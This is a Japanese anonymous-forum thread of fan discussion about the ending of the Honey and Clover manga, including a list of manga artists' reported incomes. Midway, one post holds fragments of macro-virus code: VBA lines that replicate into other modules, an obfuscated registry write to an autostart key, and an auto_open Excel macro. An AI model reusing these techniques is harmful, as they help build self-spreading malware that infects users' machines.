最後に神展開を期待だね。

結局修は森田の本気を確かめるためにおかしなことしちゃった☆って展開で
単行本では修の赤い顔が白く渋くなってたりなんて、、、しない？

はぐって好きより芸術選ぶんでしょ？
なら、臭が生きていても何らかの形ではぐの援助が出来なくなれば
（例えば不治の病とか、怪我とか、借金とか、その他もろもろ）
はぐは別のパトロンを見つける、でＯＫ？

ねえねえ野宮って髪黒いとまるで森田？
目がつり目かどうかがちょっと違う？違ってるかな

>>222
いや臭は赤っ恥かいてもらいたいから、あのままでいい。
森田にかっさらわれてｼｮボーンとしてほしい。

コーラスで修はぐENDにしたら
ガラスの仮面のように10巻は書き下ろして頂きたいぜ
パロディ書いてるみたいで同人時代の血が騒ぐんじゃねーの？

>>222
一度離れてしまったファンの心は
容易に取り戻せやしないのさ

>>224
髪型森田、輪郭カオルって感じに見える

>>226
一粒で二度楽しめる　ってか

　　　　　ふ　ざ　け　る　な

森田がブラックジャック呼んではぐ治すから修のリハビリ援助はいらなくなるよ。

>>227
そういう意見は２ｃｈで声高に叫ばれるけど
リアルではそうでもないよ
中々ファンって離れないし結構簡単に戻る

>>230
ウミノたんブラックジャック好きみたいだし、
ありえるかもねﾊﾊﾊﾊﾊ

10巻を3種類出す。
修はぐで完、森はぐで完、はぐ自立（びみょうにたけのこ）で完。
これで誰も文句は言うまい。

今更、ラストの展開変えて修正しても
臭に向けてた以前の様な気持ちは、もう持てないよ･･･

いや〜ｳﾐﾉさんは超☆天才的ですよ…
元々保護者と小さい娘大好きな自分が全くといいほど嬉しくない、寧ろ嫌悪感すら覚える展開…orz

>>230
もうそんくらいぶっとんでいいよ。

>>233

おまい天才だな

>>233
それやったら伝説になれるね。

>>233
そっちだけ丁寧に描かれるのは差別だと思う

なにこの 糞スレ
自分の好きな展開にいかないからって
作者の自己満足とか 萌えに走ったとか
笑えるんだが
そんなに嫌ならもう読まないで
コミックも買わなきゃいいのに

アンチスレ行けよ
もうアンチと一緒だな
腐女子ども

あ、でた、全角ＯのIDが！

どこ縦読み・・・

久々だなこの携帯の人

しっ！見ちゃいけません

>>240
な、自作（笑）そこ　でFA?

>>239
そうか、山田たちがいたか・・・・・・

二巻のハチクロこれまで物語では修「オレは部外者なんだ！？」とか言ってたのにね。
ほんとに、誰が今の展開を予想できよう。

すっかり山田サイド忘れてたなぁ、安心しきって。

ブラックジャックエンドでもイイヨ　今なら割と本気でそう思える

パソコンも買えないそんな甲斐性なしの男は…ポイズン♪

>>233が無理となった今、ブラックジャックエンドが一番現実的だな。




ああ病んでるさ！

パソコンだけが生きる道じゃないよ！ポイズン

男かなぁ？

VIPからきました(^O^)/
よろしく 携帯批判するアホなヤツらがいるスレはここですか・ω・？

ブラックジャックとピノコが恋に落ちるのは許せても
修とはぐが恋に落ちるのは許せんな

この気持ちをなんと呼ぼう

マンセーの意見しか読みたくない人はココ↓行けばいい。
携帯でもＯＫ。

「ヤフー掲示板　少女漫画トピック
　☆ハチミツとクローバー☆」
http://messages.yahoo.co.jp/bbs?action=m&board=552018449&tid=a1ya5oa5aa5dfa5da4ha5afa5ma1bca5pa1bca1y&sid=552018449&mid=1

>>240
だから
作品がこのまま終わると
決まった訳じゃないのに期待してたの違うからって
てのひら返したように熱狂的ファンだった人が
いらついて大騒ぎしてるだけなんだよ。

次回からテンプレにいれようか＾＾

>>254
PCさえ買えない

貧乏な男が

文句をいう権利なんて

ないんだよ。

ピノコとBJも結構依存的（おもにピノコが）なのにね。

え、ブラックジャック好きだからこの展開ってわけじゃないよね？

>>257
> いらついて大騒ぎしてるだけなんだよ。
っていうかネタとして遊んでるように見えるがｗ

>>255
描写不足。
読者置いてきぼりなんだよう！
丁寧に描かれてたらこんな祭には絶対なってない。

>>256
やさしいんだな、おまえ。

>>261
志村ー、縦！縦！

???Ｏが立てたアンチスレ（全然賑わってない）が
テンプレにいれるくらいなら、ヤフーのマンセースレが
テンプレに入れたほうがいいだろうね。


>>257
携帯は一行に入る文字少ないから
縦読み読めないし。

>>265
このレスは元は携帯さんの作品ですよｗ

それはね、
ピノコ（娘）がブラックジャックに猛アタックした結果、黒男（保護者）がほだされたから。
修（保護者）が恋心いだいちゃってはぐ（娘）を囲っちゃうのとは違うんだ。

携帯がみんな悪いわけじゃないのに、
なんか一人おかしな人いるせいで、
他の携帯さんが書き込めないでしょ。

>>267
ねぇ…孫とか竹本に言われてたのに…
お祖父ちゃんいきなり前ぶれもなく発情期で皆びっくりだよ。

ブラックジャックの認識皆おかしくないか？

>>268
禿同
ｱﾌｫ１人のせいでひとくくりにされて（ ´・ω・）ｶﾜｲｿｽ

なるほどね、ブラックジャックが受身だからか。
しかも向こうの世界には性的なニュアンスがないから
魂の恋ってことで受け入れられるわけだ。
こっちは真山とリカとかいるからな。

黒男ってピノコとくっつくの！？いやー

もうブラジャ話はよしとこう

9巻買って、ええ？はぁ、ほおって感じになって本スレ覗いてみたら何この超展開orz

でも10巻買うんだろうな。早く新連載始まらんだろうか

そうだねスレ違い。
しかし修はなんで300万以外返したんだ？
それじゃ足りないだろう。
はぐに苦労させんなよ・・・

>>276
足りるんじゃない？
治療はもういらないんでしょ？

修は森田に金借りてることはぐに言うかな

>>278
言うと言わないとでは結構違うなあ。
言ったらどうなるかは分からないけど。

自分が修だったら情けなすぎて言えんがな。

花本親子（あえて親子と呼ばせてもらおう）が
金の話してるところ
みたくない

>>280
言えないほうが情けないと思うが

金だけちゃっかり借りること自体情けない

その話聞いてはぐはなにを思うか。
・修に金の負担かけてることを悟る
・金の亡者が金より自分が大事だと思ってくれてると悟る
こうなると森田にいきそうなので、修は言わない！

存在自体が情けない

>>284
それで森田に行くと、森田が金にモノを言わせたみたいになっちゃうな。
どっちにしろ話さないほうがよさそうね。

情けないとかいてシュウと読む

臭は山田だか真山だかには、
「本の執筆とかの仕事があるし、俺って結構甲斐性あるんだぜ☆」
とかって言ってたよね。
その時に森田に３００万借りたって話はしてなかったよね。

セコい見栄張りだな

ぅゎ、臭、ほんと、無いわオマエ

はぐって確か金の亡者なんだよね？
だからてっきりお金☆って無邪気にいいながら森田に行くと思ってた！

え？

>>291
あー・・・そんな設定もあったかもしれないけどウミノは忘れてるね

たけのこには失望した

亡者じゃないだろうけど、羽海野チカはボロクソに儲かってるだろうな

いや、忘れてないぜ！
はぐは、9巻冒頭の大理石彫りたいってとこで
芸術家として「どうやって彫るのかな」「どのくらい硬いかな」と思う前に
まずまっさきに「いくらぐらいするんだろう」から入ってる。
これは、ホンモノですよ？

はぐの金の亡者設定

　→２巻P３０

まぁなんにせよ
無駄なキャラ設定が多すぎる　この漫画

はぐは作者の自己投影って、それは考えすぎでしょう

と思っていた。今までは。
しかし9巻の「はわわーはぐ貝ひろいたいっ」で
今まで自分の貝ずきをあとがきで描きまくっていたウミノを思い出し
自己投影説を納得した。

金の亡者、今気付いたｗ

※会社にしてない、あるいは会社名や本名が分からないのは拾えません
　また4000万以下は公示されません
（個人の所得税納税額、いわゆる『長者番付』は今年から公示なし
　法人の公示も今年が最後）

鳥山明　　　　９億５６００万円　バードスタジオ
藤子Ｆ不二雄　５億６４００万円　藤子エフ不二雄プロ
武論尊　　　　５億１０００万円　プロダクション一家
長谷川町子　　５億　４００万円　（財）長谷川町子美術館
高橋和希　　　４億９１００万円　スタジオダイス
岸本斉史　　　３億７４００万円　スコット
荒川弘　　　　３億７４００万円　荒川ワークス
尾田栄一郎　　３億３３００万円　ビリーウッド
矢沢あい　　　２億７８００万円　矢沢漫画製作所
やなせたかし　２億７０００万円　やなせスタジオ
久保帯人　　　２億２６００万円　ペイント・リンチ・ユニオン
北条司　　　　２億　８００万円　アトリエねこまんま
井上雄彦　　　１億９９００万円　アイティプランニング
秋本治　　　　１億２８００万円　アトリエびーだま
弘兼憲史　　　１億　５００万円　ヒロカネプロダクション

ハロルド作石　　　９４００万円　作石プロ
赤塚不二夫　　　　９１００万円　フジオ・プロダクション
武井宏之　　　　　８４００万円　武井プロダクション
天王寺大　　　　　８４００万円　天王寺大事務所
橋口たかし　　　　８３００万円　ビーズワークス
赤松健　　　　　　８１００万円　ＡＬＮ
小畑健　　　　　　７４００万円　ノエル
けらえいこ　　　　７３００万円　ママレードカンパニー
臼井儀人　　　　　６９００万円　らくだ社
手塚治虫　　　　　６６００万円　手塚プロダクション
佐藤秀峰　　　　　６４００万円　佐藤漫画製作所
浦沢直樹　　　　　６２００万円　スタジオナッツ
桂正和　　　　　　５９００万円　スタジオカツラ
雷句誠　　　　　　５５００万円　雷句スタジオ
安西信行　　　　　５２００万円　アールイーシー
永井豪　　　　　　４０００万円　ダイナミックプロダクション

>>297
なんだ、こんなにハッキリと描かれてたんじゃんｗ

作者は設定を活かす気がないんだろ

鳥山すげーーーーーー！

はぐは金の亡者のわりには
田舎で質素に暮らせればいいって言ってたし
作者完全に忘れてるな。

ウミノたんウン千万は行くだろうな確実に。
コミックス一位おめでとー

5000万くらい

これって総収入じゃなくて納税額なんだよね。すごいわ

ミナペルホネンの服をはぐなぞに着られたくない。あゆはどうぞ、着て。

そっか、納税額か。

もりたって脱税してそうで心配

>>306
違う
会社の総所得から必要経費を除いた額
ここから税金引かれる

>>307
どっかの扉絵で着てたね。
許可とってんのかな。

こんなに売れてるのに
だらだらひっぱらずにスパッとやめるのは潔いが
展開が糞じゃ話にならん。

映画公開後は漫画にも手を出してみてこの続き知ってガックリする人急増するんだろうな。
アーメン。

桜井ファンとかキレそうだが･･･

作者の自己投影キャラのはぐが、作者が現在、映画版の役者さんで
萌えている臭とくっつくわけね。
脳内ではもしかして　自分×臭役の俳優さん　なわけ？
勘弁してちょ☆

>>313
萌えてちょ☆

レスも止まる破壊力・・・

☆最強

最終兵器 孫

森田の愛情は諸刃の剣、ってのが
なんかこうも最近のようなシリアスな展開になってくると
ミスターチルドレンの「掌」の歌詞思い出しちゃってとてもあの2人見てられない・・・

森田が病院ではぐみを抱きしめた時もうこの二人だめぽと思っていたけど
まさか修ちゃんが持っていくとは…何が何だか

>>318
うお、ほんとだ。
森田とはぐが付き合うとこんな感じになりそうで恐い。
歌詞どおり
「ひとつにならなくていいよ認め合うことができるからそれで素晴らしい」
で終わっといた方がいいかもね。

>>318
やめてくれ

飼い犬（柴犬＝たけもち）に手を噛まれた森田。

一瞬「掌」が「芋」に見えた

>>318
欝になるわ・・・

あと１０日もすれば次のコーラスが出るんだね。
竹本まだ出てきてるかな。

つまりタケノコと森田さんの関係は、
根岸のおじさんと森田父ってことですか？

次の話楽しみなような不安なような・・・
巻頭カラーらしいね。

>>326
「才能無し」「才能あり」って観点からだけ見ればそうとも言えるだろうが、
あくまで「根岸のおじさんと森田父」の関係は
「森田兄とシノブ」の関係性を引き立たせるものとして描かれてるだけ...
と捉えとけばもうそれでいいとｵﾓ

仲良し５人組でも、全員が全員と仲良しってわけでもないってのは
ある意味リアルだけど、それにしてもとぎれとぎれの関係だよな〜

はぐと真山の間にはどんだけの溝があることやら

>>330
「ほぼ他人」「第三者」というミゾ

>>328
そうだなぁ。兄弟ベースだよねほんとは。
たけのこも最初は信頼して慕ってたのに、
裏切りのように非難した最近の展開を見てふと思いますた。
逆に根岸のおじさんほど関係が深かったわけじゃないし、
じゃあ森田技研の社員の中でサクッと寝返ったモブぐらいかなorz

はぐは真山の存在自体知ってるのか？

>>318
森田は抱いたつもりで突き飛ばすタイプでなく、
抱きしめすぎて圧死させるタイプ。

しかし掌って羽海野が好きそうな歌詞だね。
一緒にいたいが傷つけあっちゃう、とか森田兄弟もだしね。
（ミスチルファンの人おこらないでね、自分も好きですよ）

>>333
ちょｗｗ

>>333
実は名前も知らない。見たことはある。

今ままで、ずっとコミック派だったがこの超展開に
次号のコーラスを買ってみようと思ってしまった。

けどこれで売り上げが伸びちゃった☆あてくし天才☆
とウミノが思うのはいやだーorz

>>333
なんかメガネがいると思ってる。

美大が舞台の恋愛漫画で天才とか出てくるっていうから、
てっきり森田がかっぱしからヌードデッサンしたりするのかと
思ってたけど違ったねぇ。
森田がダリとすると、ガラみたいな恋人が見つかるといいな。

森田はヌードモデルをやってそうだ・・・金貰って・・・

ミスチルの「掌」ってラブソングなの？
政治批判みたいな歌だと思ってた。
右の思想も左の思想も、ひとつにならくていいよ。
それぞれあっていいじゃないか、
ひとつの思想以外正しくないってしちゃうから
争いが起きるのさーみたいな内容かと思ってた。

桜井（あ、こいつもサクライか。）って
政治批判を歌詞に込めるの好きだし。

１巻の最初の頃ぐらいか？真山がはぐに声かけてたのって。
それもだんだんなくなり。っつーかはぐから真山に挨拶すら
したことあるんだろうか。おごってもらった時だけちゃっかり喜んで
抱きついてたぐらいか。

実際のところ、竹森修のなかで、「はぐとくっついてほしい」
と読者に一番思われてたのは誰なんだろう。
よく人気漫画が、三角関係で作者のくっつける意図のないキャラのほうが人気がでてしまって
そっちに変更せざるをえなかった、っていうのは聞くことがあるけど、
ハチクロの場合は違うよね明らかに。

>>341
構造構成主義の歌です

>>341
そうなのかー！自分は「キスしたつもりが噛み付く」とかで
単純にラブソングだと思ってた。

>>343
森田に決まってんだろ。あほか。

森田のキスのときは森田と、
竹本の自分探しのときは竹本とくっついてほしいと単純に思ったのに
臭とは今でもこれっぽちもくっついてほしくないな。

>>345
どうでもいいが歌詞がごっちゃになってるぞ

>>343
まぁ、修でないことは明らかだわなｗ

ウミノさんは意志が強いんだよ。読者よりも自分のなっとくのいく展開を選ぶ。
そう言う意味では尊敬できるかもなー

>>349
ものすごくかっこよく言えばそういうことかもね。

売れ線の少女漫画雑誌掲載だったら森田とくっついたかもしれない・・・

まあ竹本だろうな。

ウミノさんの流れるような神展開に圧巻

森田が父の言うとおりに光の方だけを目指していたとして、
また父の運命を繰り返すだけ。
闇も見たからこそひとまわり大きい子になって、愛を掴めると思いたい

最終回は、明日から大学１年生の初登校☆な竹本の、
ボロアパートでの夢オチでヨロｗ

森田に変更しましょうよ

>>349
意志が強いのなら最初から修はぐのフラグぐらい立てているんじゃまいか？
途中で思い立って修はぐにしたのならそれは意思が強いとは言わん
むしろ意志が弱い

夢オチ希望者けっこういるねｗ　ﾈﾀだろうがｗ

あの二人両想いだったのにね。
まぁそれで芸術選んだのはいいんだけど臭が…orz

あと三回、収拾つけるだけの消化試合ってわけでもないように思うんだけど…

>>357
一応つっこんどくと
はぐ→修「芸術のパートナー」は決定してるけど
「修はぐ」エンドはまだ決定はしてない(時間の問題という気もするが)

>>354
光＝はぐ

>>354
しかし今のところいい影響出てないよね…。
馨が帰ってきて復活しないと成長できないよ。早く帰れ馨。

引っ張りだして「掌」聞いちゃったよ。暗いよ馬鹿。

>>357
はぐは結局森田とも竹本ともうまくいかないことだけは最初から決めてたって意味じゃない？
修はぐまでは考えてなかっただろうが

>>362
恋愛でしか物事を計れないようじゃまだまだよ

ハチクロの3回は長いからな。

なんかハチクロって他の漫画の2倍くらい読むのに時間かかる。
文字が多いってわけでもないのになんでだ？

はぐが怪我してからの「〜なのね」っていう言葉遣いがなんかむかつく

>>363
優しくなれたよ。
何も残せないから生きてる意味がないなんてバカなことがあるもんか
って言えた。

急に「私」なのがむかつく。

書き文字が多い
擬音とか

>>366
画面自体見にくくて読み取りづらいから

>>367
修がはぐへの恋愛感情バレてからの「〜ですよ？」っていう言葉遣いがなんかむかつく

>>368
自分はそれを弱さだと捉える。

>>372
それを弱さだと思って拒絶してると、達夫みたいな人にしてやられる。

>>370
擬音多すぎだよね。
この人は魅力のある絵だが画力がないぶん、
擬音やモノローグでごまかす。

随分 ミスチルの歌詞詳しい人が同時に書き込みますね

>>368
手が腫れてるはぐに行くなって言うのは、優しくないよ。

>>368
人間味がにじみ出る台詞ではあるが
成長や優しさといった、正の方向の感情の発露ではないと自分は捉えた

・はぐが幼女みたいな女ではなく、もっと年相応の女で
・修が、はぐを女として愛してしまったことを苦悩して
　いったんは、はぐから離れようとして
・まわりの人達は、単純に青春だのう〜だの
　キャーキャーだの、祝福するような人しかいないんじゃなくて
　修とはぐが恋愛になったことを白い目で見る人達のほうが多い


　↑
これだったら、私は修とはぐが結ばれても、（・∀・）イイ！！

今の結ばれ方じゃ最悪だけどね…。
　

でも情報伝達力はすごいものがある。
竹本が病院でカズさんにはぐを彼女か？って聞かれて否定されて血を吐いて
カズさんが状況を把握する…ここまでの全部をたったヒトコマで表現したときは
舌を巻きました…

>>377
それだ！

まあ自分をさらけ出せたのはいいことだが、ここですがっちゃだめだろう。

>>377
負の方向の感情をも許容することで人は優しくなれる

カスチルサクライなんて
売れてないころから支えてくれた奥さんを捨てて
ギ　リ　ギ　リ　ガ　ー　ル　ズ　のドキュソ女と不倫して
子供作って、前の奥さんの悪口を歌詞にしたり（幸せのカテゴリー）
今の奥と子供の幸せをマンセーした歌詞を作るような
臭並みのドキュソだろヽ(´ー`)ノ

「掌」じゃないけど、光だけ許してたんじゃダメなんだよ

ハチクロ好きな人ってaikoとか好きそう
って思ってたがイメージはスピッツのようだね。

しかしウミノは森田を通して弱さを内包した優しさを描くつもりは無い気がする。

>>381
それはあの時点で問題にされていない

>>384
aikoなんて曲全部一緒じゃん

>>379
だから読むのに時間がかかるのかもね。

>>384
aikoの歌詞は恋が成就してるからな。

今更ですが、書店でかけて貰ったカバーをはずして
９巻のカバーイラストを見た。
！！竹本がいない！！
！！将棋さしてる！！

８月号を読み直した。
！！臭の将棋のさし方は「生き汚い☆」らしい！！

で、次の連載が将棋漫画ですか。
わかりやす杉ｗ

>>386
でもはぐはそれで少し救われたらしい。

>>385
アニキにつきあったのは弱さを内包した優しさじゃないかな？
アニキのほうの弱さも優しさだし。

>>390
結果論でいえばそうだろうね

>>389
ちゃくちゃくと次回作に萌が移行してるよな・・・

生き汚いのか！

>>392
萌えが移行・・・ｶﾅｼｽ

>>390
はぐを救った発言が、はぐと森田が一緒に進むという可能性をつぶしたわけか。
まさに諸刃の剣だな。

臭が汚いってのは羽海野にもわかるらしいな。

ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub

>>395
息が臭いって読んじゃった

ウィルスすごいねー

>>395
いかにも汚そうだ

>>394　
まったく切ないぜ。＞諸刃の剣

「やりたいこと」と向き合う時の彼女は
「恋をしてるかよわい女の子」の目線で世界を見ない

という点を失念してたことがアダとなったなモリータよ

森田の愛情は諸刃の剣て誰が言い出したんだっけ

今のところ9巻表紙組（なぜかタバコ吸う奴ばかり）が恋愛勝者なわけなんだが
この法則で行くとあとは馨にいちゃんだけだぞ勝てそうなのは。

スーツ組なら城山さんがいてる

>>400
臭じゃなかった？

>>400
真山と山田が花器作りながらじゃなかったっけ

丹下教授をおぶって歩いた後に誰かが言った
真山じゃない？

猫かわいがりすぎてノイローゼにさせた、とかいう話あったし
やっぱり森田とはくっつけないつもりだったのかもね。
お互い青春の思い出みたいな感じで。

「森田」と呼び捨ててるので臭っぽい

次の将棋漫画の主人公が喫煙者に3000点☆

最初諸刃の剣と言われたのは、愛した相手をも傷つけるという意味で。
でも今回は自分が損をするという意味でここで用いられている・・・

堺雅人が原田役なら本編に影響を及ばさずに終わったんだろうか

森田が愛した人はノイローゼになって
森田に本気になった人はボロボロになるのか・・・
かわいそうな奴だなズンドコ

修ちゃんは　「かませ犬」　だよ。

そしたらもうドンファンになるしかないぢゃない

>>410
原田が生き返る。
そしてはぐに一目ぼれする

森田は死なせてやった方が楽な気さえしてきた。

映画の修の役、キャンペーンの人が良かったな

羽海野、同人女が
前の作品ほったらかしにして
ジャンルが変わる時のような態度だな

完膚なきまでに終わらせようとしてるから。

映画を観たら、わたしの中のひとつのハチクロにもエンドマークがついた

いろんなハチクロがあって、森はぐエンドは映画でお腹いっぱいになったの
ウミノさんは

>>411
もう救いようが無い・・・・・
ギャグでおちゃらけてたころはそれで良かったけど
鬱展開入ってから思い返すとその発言の数々は重すぎるな。

>>419
伊勢谷苦手だが映画に期待！

ワルサーP38〜　この手の中に〜い〜
抱かれたものは　すべて消えゆく　さだめなのさ・・・森田忍・・・

帰って来た馨の姿を見て駆け寄ろうとした森田が
車に轢かれてあぼんだったら鬱展開だなあ…

>>422
もりたーしーのぶーっ
ぶ――――――――っ！！

鬱に鬱をかけてもギャグにはならないと思われるしなあ

>>422
ルパンすきみたいだしね、ウミノ

森田が死んではぐがショックでぶっ壊れて
臭が2人をくっつけてやってればと後悔　　　　　鬱だ